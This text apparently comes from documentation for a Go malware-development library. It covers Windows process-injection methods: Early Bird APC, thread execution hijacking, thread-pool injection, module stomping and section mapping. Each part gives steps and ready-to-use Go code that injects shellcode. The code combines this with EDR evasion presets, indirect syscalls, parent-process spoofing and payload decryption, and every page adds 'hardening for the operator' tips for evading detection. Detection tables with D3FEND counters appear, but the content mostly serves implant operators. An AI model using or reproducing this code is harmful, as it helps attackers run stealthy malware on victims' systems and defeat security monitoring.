| T1055.001 | Process Injection: DLL Injection | thread-creation variant of the classic shellcode-injection pattern | D3-PSA |
Limitations
- Highly visible. Treat as a baseline. Use only when EDR is light or absent.
- PROCESS_CREATE_THREAD required in the access mask. Some hardened processes (PPL, anti-malware service) cannot be opened with this right.
- Orphan call stack. The new thread has no legitimate caller history; stack-walking detection trivially flags it.
- No PPL targets. Protected Process Light denies cross-process thread creation outright. Use a non-PPL target.
See also
- Early Bird APC — same shape but APC-triggered,
avoids the
CreateThreadevent. - Thread Hijack — redirects an existing thread instead of creating one.
- Section Mapping — same target shape but no
WriteProcessMemory. evasion/unhook— pair to defeat userland hooks before the injection.win/syscall— the four syscall modes available to every method.
Early Bird APC injection
← injection index · docs/index
New to maldev injection? Read the injection/README.md vocabulary callout first.
TL;DR
Spawn a sacrificial child in CREATE_SUSPENDED state, allocate +
write + protect the shellcode in its address space, queue an APC on
its main thread, then ResumeThread. The APC fires before the
process entry point — no CreateRemoteThread event, no extra
thread, predictable timing. Stealth tier: medium.
| Trait | Value |
|---|---|
| Target class | Child (suspended) |
| Creates a new thread? | No — uses the suspended child's main thread + APC |
Uses WriteProcessMemory? | Yes (NtWriteVirtualMemory) |
| Stealth tier | Medium — no Create*Thread event; QueueUserAPC itself is observable |
| Bypasses CreateThread callbacks? | Yes — PsSetCreateThreadNotifyRoutine doesn't fire (the thread already existed in suspended state) |
When to pick a different method:
- Want to redirect the suspended thread without APC? → Thread Hijack — same setup, mutates
RIPviaNtSetContextThreadinstead. - Need to inject into a process you can't spawn? → CreateRemoteThread, Section Mapping, Kernel Callback Table.
- Want the spawn itself to look like another process? → Pair with Process Arg Spoofing on the
CREATE_SUSPENDEDstep.
Primer
The classic CreateRemoteThread path is loud because the kernel emits a
thread-creation event the moment the new thread starts. Early Bird APC
sidesteps that by reusing the main thread of a freshly-spawned,
suspended child process. The thread already exists (the kernel created
it as part of CreateProcess); the implant queues an asynchronous
procedure call (APC) on it that points at the shellcode, then resumes
it. The kernel dispatches APCs as part of the thread's first
user-mode instructions, so the shellcode runs before any of the
target process's own initialisation — including CRT, before
DllMain, before mainCRTStartup.
The technique is a known pattern (FireEye, FireEye Stories — Early Bird
Code Injection, 2018). EDR products correlate CREATE_SUSPENDED ↔
NtQueueApcThread ↔ ResumeThread and flag the chain. It still
performs better than CRT against signature-based products and basic
ETW-Ti consumers because no Create*Thread* API is invoked at all.
How it works
sequenceDiagram
participant Impl as "Implant"
participant Kern as "Kernel"
participant Child as "Child (e.g. notepad.exe, suspended)"
Impl->>Kern: CreateProcess(CREATE_SUSPENDED)
Kern->>Child: process + main thread, frozen
Kern-->>Impl: hProcess, hThread
Impl->>Kern: NtAllocateVirtualMemory(RW)
Kern->>Child: page allocated
Impl->>Kern: NtWriteVirtualMemory(shellcode)
Kern->>Child: bytes copied
Impl->>Kern: NtProtectVirtualMemory(RX)
Impl->>Kern: NtQueueApcThread(hThread, remoteAddr)
Kern->>Child: APC queued (kernel APC list)
Impl->>Kern: ResumeThread(hThread)
Child->>Child: APC dispatch fires before entry
Child->>Child: shellcode runs, then process resumes
Steps:
- Spawn the sacrificial child with
CREATE_SUSPENDED(defaultnotepad.exe; passProcessPathto override). - Allocate / write / protect in the child as for CRT.
- Queue APC on the main thread via
NtQueueApcThread. The kernel inserts the routine pointer into the thread's user-mode APC queue. - Resume the main thread. The kernel pops the APC before delivering control to the original entry point.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/inject is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple
cfg := &inject.WindowsConfig{
Config: inject.Config{
Method: inject.MethodEarlyBirdAPC,
ProcessPath: `C:\Windows\System32\notepad.exe`,
},
}
inj, err := inject.NewWindowsInjector(cfg)
if err != nil { return err }
return inj.Inject(shellcode)
Composed (sacrificial parent + indirect syscalls)
inj, err := inject.Build().
Method(inject.MethodEarlyBirdAPC).
ProcessPath(`C:\Windows\System32\svchost.exe`).
IndirectSyscalls().
Create()
if err != nil { return err }
return inj.Inject(shellcode)
Advanced (chain with evasion + sleep mask)
import (
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
)
_ = evasion.ApplyAll(preset.Minimal(), nil)
inj, err := inject.Build().
Method(inject.MethodEarlyBirdAPC).
ProcessPath(`C:\Windows\System32\WerFault.exe`).
IndirectSyscalls().
Use(inject.WithCPUDelayConfig(inject.CPUDelayConfig{MaxIterations: 8_000_000})).
WithFallback().
Create()
if err != nil { return err }
return inj.Inject(shellcode)
Complex (parent-process spoofing for the spawn)
The package does not change the parent of the spawned child by itself;
to set a non-explorer.exe parent (e.g. spawn under services.exe),
combine with process/spoofparent:
// Pseudo-code illustrating the chain — the actual API is in
// process/spoofparent.
import (
"github.com/oioio-space/maldev/inject"
"github.com/oioio-space/maldev/process/spoofparent"
)
token, _ := spoofparent.AcquireParentToken("services.exe")
defer token.Close()
inj, err := inject.Build().
Method(inject.MethodEarlyBirdAPC).
ProcessPath(`C:\Windows\System32\svchost.exe`).
IndirectSyscalls().
Create()
if err != nil { return err }
spoofparent.RunAs(token, func() error { return inj.Inject(shellcode) })
See the per-method tests in
inject/builder_test.go for runnable
variations.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
Process spawned with CREATE_SUSPENDED flag | Sysmon Event 1 — CreationFlags includes 0x4. Defenders alert on notepad.exe / svchost.exe spawned suspended by an unusual parent |
NtQueueApcThread to a thread of a freshly-spawned process | EDR userland hooks + ETW-Ti ApcQueue events |
| Memory page in child written from outside | Cross-process NtWriteVirtualMemory telemetry |
| Process tree mismatch | A notepad.exe child of a non-explorer.exe parent is a strong signal |
D3FEND counters:
- D3-PSA
— flags
CREATE_SUSPENDED+ queued APC sequences. - D3-PCSV — verifies that thread start addresses match a known image.
Hardening for the operator: randomise the sacrificial executable between runs; pair with PPID spoofing so the child looks like it belongs to its target parent; route the four NT calls through indirect syscalls so the userland-hook variant of the chain is invisible.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1055.004 | Process Injection: Asynchronous Procedure Call | child-process variant queued before any user-mode code runs | D3-PSA |
Limitations
- Visible child process. A foreign
notepad.exe(or whateverProcessPathpoints at) appears under the implant's parent. Choose something that blends in, or pair with PPID spoofing. - Position-independent shellcode required. The APC fires before CRT initialisation; library functions and globals are not yet set up.
- Child must stay alive. The shellcode runs in the child's
process; if the child exits, the implant dies with it. Long-running
payloads should detach (spawn a thread inside the child or
LoadLibrarya DLL). - CREATE_SUSPENDED is signal. Even with PPID spoofing, the combination of suspended-spawn + early APC is a known FireEye-2018 pattern.
See also
- CreateRemoteThread — louder cousin; same primitives without the suspended-spawn dance.
- NtQueueApcThreadEx — the same APC trick on existing PIDs (Win10 1903+).
- Thread Hijack — alternative use of the suspended child: redirect the existing thread instead of queuing an APC.
process/spoofparent— combine to set the parent of the sacrificial child.- FireEye, Early Bird APC, 2018 — original public write-up.
Thread execution hijacking
← injection index · docs/index
New to maldev injection? Read the injection/README.md vocabulary callout first.
TL;DR
Spawn a CREATE_SUSPENDED child, allocate + write + protect shellcode
in its address space, then mutate its main thread's saved register
state so RIP points at the shellcode before resuming. No new thread,
no APC — the existing thread is redirected at the CPU-context
level. Stealth tier: medium; the trade-off is a NtSetContextThread
on a non-debugger flow, which EDR specifically watches.
| Trait | Value |
|---|---|
| Target class | Child (suspended) |
| Creates a new thread? | No — redirects the existing main thread via NtSetContextThread |
Uses WriteProcessMemory? | Yes (NtWriteVirtualMemory) |
| Stealth tier | Medium — no Create*Thread, no APC; NtSetContextThread outside debug context is the EDR signal |
| Bypasses CreateThread callbacks? | Yes — same reasoning as Early Bird APC |
When to pick a different method:
- Want APC delivery instead of register mutation? → Early Bird APC — sister technique, same setup, different trigger.
- Want to inject into an existing PID? → Thread Hijack works on any thread you can
OpenProcess(PROCESS_VM_*)— but the existing thread interrupt is louder than APC. - Want the spawn itself to look like another process? → Pair with Process Arg Spoofing.
Primer
CreateRemoteThread creates a new thread; EarlyBird queues an APC.
Thread Execution Hijacking does neither — it abuses the fact that
Windows lets a debugger (or anything with THREAD_GET_CONTEXT | THREAD_SET_CONTEXT) pause a thread, read its full register file, edit
the instruction pointer, write the registers back, and resume. The
implant takes the same path: pause → read CONTEXT → write Rip to the
shellcode address → write back → ResumeThread.
The result is that the sacrificial child's main thread starts running
at the shellcode address instead of the original entry point. No
Create*Thread* event ever fires. The trade-off is the
NtSetContextThread system call, which is unusual outside debugger
workflows and is itself instrumented by every modern EDR.
The legacy alias MethodProcessHollowing points at this technique;
genuine PE hollowing (overwriting the child's image with a different
PE) is not implemented in this package.
How it works
sequenceDiagram
participant Impl as "Implant"
participant Kern as "Kernel"
participant Child as "Child (suspended)"
Impl->>Kern: CreateProcess(CREATE_SUSPENDED)
Kern->>Child: process + main thread, frozen
Kern-->>Impl: hProcess, hThread
Impl->>Kern: NtAllocateVirtualMemory(RW)
Impl->>Kern: NtWriteVirtualMemory(shellcode)
Impl->>Kern: NtProtectVirtualMemory(RX)
Impl->>Kern: NtGetContextThread(hThread)
Kern-->>Impl: CONTEXT (Rip = original entry)
Impl->>Impl: ctx.Rip = remoteAddr
Impl->>Kern: NtSetContextThread(hThread, ctx)
Kern->>Child: thread Rip rewritten
Impl->>Kern: ResumeThread(hThread)
Child->>Child: thread runs at shellcode address
Steps:
- Spawn the sacrificial child suspended.
- Allocate / write / protect the shellcode in the child.
- Get the main thread's CONTEXT (
NtGetContextThread) — note that the kernel returns the saved register file because the thread is suspended. - Mutate
ctx.Rip(orEipon x86) to the shellcode address. - Set the modified CONTEXT back (
NtSetContextThread). - Resume the thread.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/inject is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple
cfg := &inject.WindowsConfig{
Config: inject.Config{
Method: inject.MethodThreadHijack,
ProcessPath: `C:\Windows\System32\notepad.exe`,
},
}
inj, err := inject.NewWindowsInjector(cfg)
if err != nil { return err }
return inj.Inject(shellcode)
Composed (indirect syscalls, hardened sacrificial parent)
inj, err := inject.Build().
Method(inject.MethodThreadHijack).
ProcessPath(`C:\Windows\System32\RuntimeBroker.exe`).
IndirectSyscalls().
Create()
if err != nil { return err }
return inj.Inject(shellcode)
Advanced (preset evasion + thread hijack)
import (
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
)
_ = evasion.ApplyAll(preset.Stealth(), nil)
inj, err := inject.Build().
Method(inject.MethodThreadHijack).
ProcessPath(`C:\Windows\System32\WerFault.exe`).
IndirectSyscalls().
Use(inject.WithXORKey(0xA5)).
Create()
if err != nil { return err }
return inj.Inject(shellcode)
Complex (Pipeline equivalent)
Pipeline does not have a packaged ThreadHijackExecutor (it would
need a saved CONTEXT and a thread handle); the named-method path is
the supported one. For experimental setups, replicate the logic in
inject/injector_remote_windows.go.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
CREATE_SUSPENDED child of an unusual parent | Sysmon Event 1 (CreationFlags) |
NtSetContextThread on a thread of a freshly-spawned process | EDR-Ti providers, userland hooks. Outside debugger workflows this is a high-fidelity signal |
Cross-process NtWriteVirtualMemory | EDR userland + ETW |
Modified Rip in CONTEXT pointing into a non-image-backed region | EDR memory scanners on the child |
| Process tree mismatch | notepad.exe child of a non-explorer.exe parent |
D3FEND counters:
- D3-PSA
—
CREATE_SUSPENDED+ register mutation is the textbook hollowing-family chain. - D3-PCSV
— verifies thread
Ripagainst image segments.
Hardening for the operator: route NT calls through indirect syscalls; pair with PPID spoofing; choose a sacrificial process whose own initialisation does not race the shellcode (avoid heavyweight binaries that spawn workers immediately).
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1055.003 | Process Injection: Thread Execution Hijacking | suspended-child variant | D3-PSA |
Limitations
- x64 only in the current implementation (
CONTEXT.Rip). x86 would needEipand a differentCONTEXTflags mask. - Original entry point never runs. The sacrificial process never
reaches its real
main. If the shellcode does not hand control back, the child appears to have started and immediately died — a small but non-zero behavioural anomaly. NtSetContextThreadis high-signal. EDRs that miss theCREATE_SUSPENDEDflag still catch the context modification. Direct/indirect syscalls help against userland hooks but not against ETW-Ti.- Race-prone for fast spawns. Some sacrificial binaries
(
csrss.exeadjacents, lightly-instrumented processes) finish initial setup beforeNtGetContextThreadreturns. Stick to well-behaved utilities.
See also
- Early Bird APC — same suspended-child shape, uses an APC instead of register mutation.
- CreateRemoteThread — the loud baseline.
- Process Argument Spoofing — pair to mask the child's command line as a benign tool.
process/spoofparent— pair to set a realistic parent for the sacrificial child.- SafeBreach Labs, Process Hollowing & Doppelgänging, 2017 — taxonomy of register-mutation injection.
Thread pool injection
← injection index · docs/index
New to maldev injection? Read the injection/README.md vocabulary callout first.
TL;DR
Drop a work item onto the process's default thread pool via the
undocumented TpAllocWork / TpPostWork / TpReleaseWork triplet in
ntdll. An idle worker thread that already exists picks the item up
and runs the shellcode as a normal callback. No CreateThread, no
NtCreateThreadEx, no APC. Local-only.
| Trait | Value |
|---|---|
| Target class | Local (current process) |
| Creates a new thread? | No — reuses one of the always-running pool workers |
Uses WriteProcessMemory? | No — caller pre-allocates RX in their own process |
| Stealth tier | High — no CreateThread / QueueAPC / SetContext call enters EDR's view |
| CET-affected? | Pool dispatcher may enforce ENDBR64 on Win11 24H2+. Use inject.ThreadPoolExecCET for auto-wrapping. |
When to pick a different method:
- Want callback-via-existing-API rather than work-queue? → Callback execution.
- Need Self but want explicit thread (not pool)? → EtwpCreateEtwThread.
- Need to inject into a different process? → ThreadPool is Local-only. See CreateRemoteThread / Section Mapping.
Primer
Every Windows process has a default thread pool — a small ring of
worker threads created by RtlpInitializeThreadPool early in process
startup. The pool's purpose is to dispatch arbitrary work items
submitted by kernel32!QueueUserWorkItem, ntdll!TpPostWork, and the
modern CreateThreadpoolWork family. The implant abuses the
ntdll-private layer: TpAllocWork(callback, ctx, env) builds a
TP_WORK object whose callback pointer is the shellcode, TpPostWork
pushes it onto the queue, and one of the existing workers dequeues
and dispatches it.
The result is execution on a thread that the implant did not create
and the EDR did not see being created. The same TP_WORK object is
the textbook plumbing every well-behaved Windows process uses dozens of
times per second; the only anomaly is the callback target itself.
How it works
sequenceDiagram
participant Impl as "Implant"
participant Nt as "ntdll"
participant Pool as "Default thread pool"
participant W as "Worker thread"
Impl->>Impl: VirtualAlloc(RW) + memcpy
Impl->>Impl: VirtualProtect(RX)
Impl->>Nt: TpAllocWork(&work, sc, 0, 0)
Nt-->>Impl: TP_WORK*
Impl->>Nt: TpPostWork(work)
Nt->>Pool: enqueue
Pool->>W: dispatch
W->>W: shellcode runs as callback
Impl->>Nt: TpWaitForWork(work, false)
Note over Impl: blocks until callback returns
Impl->>Nt: TpReleaseWork(work)
Steps:
- Allocate / write / protect in the current process — RW first, then RX.
TpAllocWork— register the shellcode as the callback.TpPostWork— submit the work item.- Worker dispatch — an existing pool worker dequeues and calls the callback (the shellcode).
TpWaitForWork— block to guarantee completion beforeTpReleaseWorkfrees the object underneath the running callback.TpReleaseWork— clean up.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/inject is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple
import "github.com/oioio-space/maldev/inject"
if err := inject.ThreadPoolExec(shellcode); err != nil {
return err
}
Simple — future-proofed (CET-aware)
// Same code, no per-call decisions. Wraps with cet.Wrap when
// cet.Enforced() flips true on a future Win build; no-op today.
if err := inject.ThreadPoolExecCET(shellcode); err != nil {
return err
}
Composed (ModuleStomp + manual TpAllocWork)
ThreadPoolExec is a one-shot helper. To make the callback target
image-backed, stomp first and call TpAllocWork manually — see
inject/threadpool_windows.go
for the call shape:
import "github.com/oioio-space/maldev/inject"
addr, err := inject.ModuleStomp("msftedit.dll", shellcode)
if err != nil { return err }
// dispatch via TpAllocWork(addr, ...) — see source for full snippet
return inject.ExecuteCallback(addr, inject.CallbackRtlRegisterWait)
Advanced (chain with evasion preset)
import (
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
)
_ = evasion.ApplyAll(preset.Stealth(), nil)
return inject.ThreadPoolExec(shellcode)
Complex (decrypt + thread-pool + wipe)
import (
"github.com/oioio-space/maldev/cleanup/memory"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
)
_ = evasion.ApplyAll(preset.Stealth(), nil)
shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)
if err := inject.ThreadPoolExec(shellcode); err != nil { return err }
memory.SecureZero(shellcode)
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
TP_WORK callback pointer outside any image | EDR memory scanners walk active pool work items (CrowdStrike Falcon Sensor, MDE Live Response) |
| RW → RX flip in current process | NtProtectVirtualMemory telemetry — every modern EDR keys on the protection transition |
| Pool worker stack containing addresses outside any module | Stack-walking telemetry on the thread-pool dispatcher |
D3FEND counters:
- D3-PCSV — verifies the callback against image segments.
- D3-EAL — WDAC blocks RX flips outside images.
Hardening for the operator: pair with ModuleStomp
so the callback pointer is image-backed; spread allocations across
multiple smaller pages to reduce signature surface; sleep-mask the
shellcode region between activations
(evasion/sleepmask).
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1055.001 | Process Injection: DLL Injection | thread-pool variant — no thread creation | D3-PCSV |
Limitations
- Local only. Targets the current process's pool. There is no
cross-process variant — the
TP_WORKobject lives in the calling process. - Synchronous via
TpWaitForWork. The helper blocks until the callback returns. Long-running shellcode should detach internally (spawn a fiber or thread). - CET dispatcher is not currently enforced on the thread-pool
path (unlike
RtlRegisterWait, which is). PlainThreadPoolExecworks as-is. The future-proofThreadPoolExecCETwrapper auto-prependsENDBR64viacet.Wrapwhencet.Enforced()returns true, so an implant built against this helper survives the day Microsoft flips the dispatcher to ENDBR64-required. Cost on non-enforced hosts: 4 bytes of shellcode prefix. - Region not freed. The RX page persists until process exit unless
the implant calls
cleanup/memory.WipeAndFree. - Undocumented APIs.
TpAllocWork/TpPostWork/TpReleaseWorkare not in the SDK; future Windows builds may rename or relocate them.
See also
- Callback execution — the broader family; thread pool is the worker-thread variant.
- Module Stomping — pair to make the callback pointer image-backed.
evasion/sleepmask— mask the RX region between dispatches.- Modexp, Calling Conventions in Windows
— original public write-up of
TpAllocWork-based injection.
Module stomping
← injection index · docs/index
New to maldev injection? Read the injection/README.md vocabulary callout first.
TL;DR
Load a legitimate System32 DLL with DONT_RESOLVE_DLL_REFERENCES,
locate its .text section, briefly flip it to RW, overwrite the bytes
with shellcode, flip back to RX. The resulting RX page is image-backed
— memory scanners that trust file-backed regions see a legitimate
msftedit.dll mapping. Local-only; pair with a callback or thread-pool
trigger to actually run the bytes.
| Trait | Value |
|---|---|
| Target class | Local (current process) |
| Creates a new thread? | Caller's choice — pair with Callback execution or Thread Pool for the trigger |
Uses WriteProcessMemory? | No (current-process write only) |
| Stealth tier | High — VirtualQueryEx reports MEM_IMAGE + a real DLL path; only deep .text byte-hash checks catch the swap |
| Sacrifice | The stomped DLL's exports are gone — load only DLLs the implant doesn't need (e.g., msftedit.dll if no rich-edit calls) |
When to pick a different method:
- Need cross-process? → Phantom DLL is the same trick remoted.
- Don't need image-backed mask? → Thread Pool, Callback execution, EtwpCreateEtwThread — simpler when scanners aren't the threat.
- Want both image mask AND remote target? → Phantom DLL chained with Kernel Callback Table.
Primer
Memory scanners commonly trust regions that the OS reports as
file-backed by a known image. The shortcut they take is reasonable —
loading c:\windows\system32\msftedit.dll is by definition fine, so
scanning every byte of every loaded DLL would be wasteful. Module
stomping abuses that trust: the implant loads a benign DLL it does
not actually need, walks its PE headers in memory, finds the .text
(code) section, and replaces the section's bytes with the shellcode.
The OS still reports the region as msftedit.dll's code segment;
the bytes have changed underneath.
The technique is placement only. ModuleStomp returns the address
of the new RX region; pair it with a separate execution primitive
(ExecuteCallback, ThreadPoolExec,
fiber, or a manually-fired callback) to dispatch.
How it works
flowchart LR
A[LoadLibraryEx<br>DONT_RESOLVE_DLL_REFERENCES] --> B[parse PE headers<br>find .text]
B --> C[VirtualProtect<br>.text → RW]
C --> D[memcpy shellcode<br>over .text]
D --> E[VirtualProtect<br>.text → RX]
E --> F[return RX address]
Steps:
- Load the cover DLL with
LOAD_LIBRARY_AS_IMAGE_RESOURCE | DONT_RESOLVE_DLL_REFERENCES. This maps the file as aSEC_IMAGEsection — the OS treats it like a real load — but skipsDllMainso no real init runs. - Parse the loaded module's PE headers in memory to locate the
.textsection's virtual address and size. - Flip the
.textsection toPAGE_READWRITE. - Overwrite the existing bytes with the shellcode (zero-pad the tail).
- Flip back to
PAGE_EXECUTE_READ. - Return the address.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/inject is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple
addr, err := inject.ModuleStomp("msftedit.dll", shellcode)
if err != nil { return err }
return inject.ExecuteCallback(addr, inject.CallbackEnumWindows)
Composed (stomp + thread pool)
addr, err := inject.ModuleStomp("msftedit.dll", shellcode)
if err != nil { return err }
// Use a callback method that routes through the thread pool.
return inject.ExecuteCallback(addr, inject.CallbackRtlRegisterWait)
Advanced (evade + stomp + callback)
import (
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
)
_ = evasion.ApplyAll(preset.Stealth(), nil)
addr, err := inject.ModuleStomp("dbghelp.dll", shellcode)
if err != nil { return err }
return inject.ExecuteCallback(addr, inject.CallbackCreateTimerQueue)
Complex (decrypt → stomp → trigger → wipe)
import (
"github.com/oioio-space/maldev/cleanup/memory"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/inject"
)
shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)
addr, err := inject.ModuleStomp("msftedit.dll", shellcode)
if err != nil { return err }
memory.SecureZero(shellcode) // bytes already copied into the cover DLL
return inject.ExecuteCallback(addr, inject.CallbackNtNotifyChangeDirectory)
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
VirtualProtect flip on a loaded image's .text | Mid-tier EDR — sysmon does not log this directly, but EDR userland hooks do |
In-memory .text mismatch with the on-disk DLL | Advanced memory scanners diff loaded .text against \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy*\windows\system32\<dll> — strong, slow detector |
| Loaded module that the process never imports | EDR module-load telemetry (Sysmon Event 7) — msftedit.dll loaded by a CLI tool that does not edit RTF is anomalous |
| Callback target inside a System32 DLL the process never imports | Behavioural rule combining the load + the eventual callback |
D3FEND counters:
- D3-PCSV — text-segment integrity checking is the canonical defeat.
- D3-EAL — WDAC's Code Integrity engine validates loaded sections.
- D3-SICA — diffs loaded image sections against on-disk.
Hardening for the operator: rotate the cover DLL between runs; pick
a DLL whose .text is large enough to hold the shellcode comfortably
(extra zero-padding is fine; truncation is not); avoid DLLs whose
absence breaks the stage's own imports.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1055.001 | Process Injection: DLL Injection | image-backed variant — no separate allocation | D3-PCSV |
| T1027 | Obfuscated Files or Information | placement under a benign image disguises the payload's presence | D3-SICA |
Limitations
- Local only. No cross-process variant. Stomping a module in
another process would need
WriteProcessMemory— exactly the syscall the technique exists to avoid. - Size capped by
.text. Big shellcode needs a big cover DLL.msftedit.dll(~200 KB),dbghelp.dll, andwindowscodecs.dllare common picks. - Module must not be otherwise needed. If the rest of the implant imports from the cover DLL, the stomp breaks the imports. Pick a DLL the binary does not legitimately use.
- Mapped DLL leaks until process exit. Add manual
FreeLibrarywith care — the OS reference-counts and other implants in the same process may have the DLL pinned. - Image diffing defeats it. Defenders that compare loaded
.textwith the on-disk DLL find the stomp. The technique trades simple signature evasion for a more sophisticated detection class.
See also
- Callback execution — primary consumer of the stomped address.
- Thread Pool — alternate trigger primitive.
- Phantom DLL — same idea but cross-process and
using
NtCreateSection. evasion/sleepmask— re-encrypt the stomped section between activations.- Mark Mo, Module Stomping, 2019 — community write-up of the original technique.
Section mapping injection
← injection index · docs/index
New to maldev injection? Read the injection/README.md vocabulary callout first.
TL;DR
Cross-process injection without WriteProcessMemory. Create a
shared section, map a writable view in the implant's process, copy the
shellcode locally, then map a read-execute view of the same section
in the target. Both views point at the same physical pages, so the
local memcpy is instantly visible across the boundary. Trigger via
NtCreateThreadEx (or whichever executor the caller chooses).
| Trait | Value |
|---|---|
| Target class | Remote (existing PID) |
| Creates a new thread? | Yes (caller chooses the executor — typically NtCreateThreadEx) |
Uses WriteProcessMemory? | No — the bypass-WPM is the whole point |
| Stealth tier | High — no WPM signal; section-create + map-view is harder to baseline against legitimate IPC |
When to pick a different method:
- Want to avoid creating a thread too? → Kernel Callback Table, NtQueueApcThreadEx.
- Want a file-backed image mapping (looks like a real DLL)? → Phantom DLL hollowing.
- Don't need cross-process? → Module Stomping does the section trick locally.
Primer
WriteProcessMemory is one of the loudest cross-process syscalls.
EDRs hook it, ETW-Ti reports it, and a single use is enough to flag
the chain. Section mapping sidesteps it entirely by exploiting Windows'
shared-memory primitive: NtCreateSection returns a section object
backed by the page file (or the file system); NtMapViewOfSection
projects views of that section into arbitrary processes. Two views
of the same section point at the same physical pages — modifying
one updates the other.
The implant maps the section RW into itself, writes shellcode through
the local view, then maps the same section RX into the target. No
cross-process write was issued. The remaining cross-process call is the
final trigger (NtCreateThreadEx, or anything else the caller wants).
How it works
sequenceDiagram
participant Impl as "Implant"
participant Kern as "Kernel"
participant Tgt as "Target"
Impl->>Kern: NtCreateSection(SEC_COMMIT, RWX)
Kern-->>Impl: hSection
Impl->>Kern: NtMapViewOfSection(self, RW)
Kern-->>Impl: localBase
Impl->>Impl: memcpy(localBase, shellcode)
Impl->>Kern: NtMapViewOfSection(target, RX)
Kern->>Tgt: same physical pages, RX
Kern-->>Impl: remoteBase
Impl->>Kern: NtUnmapViewOfSection(self, localBase)
Impl->>Kern: NtCreateThreadEx(target, remoteBase)
Kern->>Tgt: thread @ shellcode
Steps:
NtCreateSectionwithSEC_COMMIT | PAGE_EXECUTE_READWRITE, sized to the shellcode.NtMapViewOfSectioninto the local process withPAGE_READWRITE.- memcpy the shellcode through the local view.
NtMapViewOfSectioninto the target withPAGE_EXECUTE_READ. Both views share physical pages; the data is already there.NtUnmapViewOfSectionlocally — no longer needed.NtCreateThreadExatremoteBase(or any other trigger).
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/inject is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple
import "github.com/oioio-space/maldev/inject"
if err := inject.SectionMapInject(targetPID, shellcode, nil); err != nil {
return err
}
Composed (indirect syscalls)
import (
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodIndirect,
wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
return inject.SectionMapInject(targetPID, shellcode, caller)
Advanced (full evasion stack)
import (
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodIndirect,
wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
_ = evasion.ApplyAll(preset.Stealth(), caller)
return inject.SectionMapInject(targetPID, shellcode, caller)
Complex (encrypt + decrypt + section map + wipe)
import (
"github.com/oioio-space/maldev/cleanup/memory"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodIndirect,
wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
_ = evasion.ApplyAll(preset.Stealth(), caller)
shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)
if err := inject.SectionMapInject(targetPID, shellcode, caller); err != nil {
return err
}
memory.SecureZero(shellcode)
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
NtCreateSection followed by two NtMapViewOfSection to different processes | EDR-Ti correlates the chain — strong signal in modern products |
Cross-process NtMapViewOfSection at all | Sysmon does not log; EDR userland hooks + ETW Threat Intelligence (Microsoft-Windows-Threat-Intelligence) emit MapViewOfSection events |
NtCreateThreadEx start address inside a non-image RX mapping | PsSetCreateThreadNotifyRoutine callback flags non-image-backed start addresses |
Page-file-backed section with PAGE_EXECUTE_READWRITE initial protection | EDR allocation telemetry — RWX sections without an image backing are unusual |
D3FEND counters:
- D3-PSA — flags the section + remote-thread chain.
- D3-PCSV — verifies the start address against image segments.
- D3-MA — anomaly on cross-process executable mappings.
Hardening for the operator: trigger via a callback path on the
remote side (e.g. hijack a thread's APC queue with
NtQueueApcThreadEx) to avoid
NtCreateThreadEx; pair with evasion/unhook
to defeat userland hooks on NtMapViewOfSection.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1055.001 | Process Injection: DLL Injection | shared-section variant — no WriteProcessMemory | D3-PSA |
Limitations
